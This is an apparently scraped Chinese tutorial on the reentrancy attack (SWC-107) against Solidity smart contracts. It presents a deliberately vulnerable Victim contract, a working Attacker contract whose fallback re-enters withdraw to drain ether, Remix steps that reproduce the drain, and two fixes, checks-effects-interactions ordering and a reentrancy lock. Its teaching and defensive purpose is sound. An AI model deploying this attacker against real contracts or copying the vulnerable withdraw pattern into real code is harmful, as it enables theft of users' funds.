当前位置:网站首页>智能合约安全-可重入攻击(SW107-Reentrancy)
智能合约安全-可重入攻击(SW107-Reentrancy)
2022-08-02 23:33:00 【Johnathan】
攻击名称
可重入攻击(Reentrancy)
攻击分类CWE-841
代码实现与预期行为不一致
攻击描述
主要的风险就是调用外部合约会接管合约的控制流。在可重入攻击中,恶意合约在被攻击合约的第一个函数执行完成前在再次调用合约,这可能导致函数调用与预期行为不一致。核心流程与原理如下:
合约案例
被攻击合约
// SPDX-License-Identifier: GPL-3.0pragma solidity ^0.6.10;contract Victim { mapping(address=> uint256) public balances; function deposit() public payable{ balances[msg.sender] += msg.value; } function withdraw(uint256 amount) public { require(balances[msg.sender] >= amount); (bool success,) = msg.sender.call{value:amount}(""); require(success, "Fail to send ether!"); balances[msg.sender] -= amount; } function getBalance() public view returns(uint){ return address(this).balance; }}
攻击合约
contract Attacker{ Victim public victim; constructor(address _victimAddr) public { victim = Victim(_victimAddr); } function beginAttack() external payable{ require(msg.value >= 1 ether); victim.deposit{value: 1 ether}(); victim.withdraw(1 ether); } fallback() external payable{ //死循环的话一毛也取不到 if (address(victim).balance >= 1 ether) { victim.withdraw(1 ether); } } function getBalance() public view returns(uint){ return address(this).balance; }}
操作示例
- 采用Remix账户1部署Victim合约,然后调用deposit存入4个ETH
- 采用Remix账户1部署Attacker合约,然后调用beginAttack并传入1个ETH
- Victim合约GetBalance: 0, Attacker合约GetBalance 5
防止策略
- 切换存储更新和外部调用的顺序,防止启用攻击的重新进入条件。遵循“检查-效果-相互作用”设计模式。
contract Victim{ ... function withdraw(uint256 amount) public { require(balances[msg.sender] >= amount); balances[msg.sender] -= amount; (bool success,) = msg.sender.call{value:amount}(""); require(success, "Fail to send ether!"); }
2.加锁。
bool internal locked; modifier noReentrant(){ require(!locked, "No re-entrancy!"); locked = true; _; locked = false; } function withdraw(uint256 amount) public noReentrant{ require(balances[msg.sender] >= amount); (bool success,) = msg.sender.call{value:amount}(""); require(success, "Fail to send ether!"); balances[msg.sender] -= amount; }
边栏推荐
猜你喜欢
【多线程】线程与进程、以及线程进程的调度
高数---二重积分
【QT】自定义工程封装成DLL并如何调用(带ui界面的)
CAS:1445723-73-8,DSPE-PEG-NHS,磷脂-聚乙二醇-活性酯两亲性脂质PEG共轭物
基于STM32设计的老人防摔倒报警设备(OneNet)
2022第十一届财经峰会:优炫软件斩获双项大奖
机电设备制造企业,如何借助ERP系统做好客供料管理?
The latest real software test interview questions are shared. Are you afraid that you will not be able to enter the big factory after collecting them?
# DWD层及DIM层构建## ,220801 ,
What is the matter that programmers often say "the left hand is knuckled and the right hand is hot"?
随机推荐
可编程逻辑控制器(PLC) : 基础、类型和应用
Merge two excel spreadsheet tools
js基础知识整理之 —— 全局作用域
定了!8月起,网易将为本号粉丝提供数据分析培训,费用全免!
flutter 每个要注意的点
DB2数据库-获取表结构异常:[jcc][t4][1065][12306][4.26.14]CharConvertionException ERRORCODE=-4220,SQLSTATE=null
Mock工具之Moco使用教程
WAF WebShell Trojan free to kill
Swift中的类型相关内容
scala 集合通用方法
MySQL的多表查询(1)
vant-swipe自适应图片高度+图片预览
【QT】自定义工程封装成DLL并如何调用(带ui界面的)
js基础知识整理之 —— 字符串
我们来浅谈代码语言的魅力
DataGuard日常维护常见问题之数据同步异常
nmap: Bad CPU type in executable
APT level comprehensive free kill with Shell
合并两个excel表格工具
用了TCP协议,就一定不会丢包吗?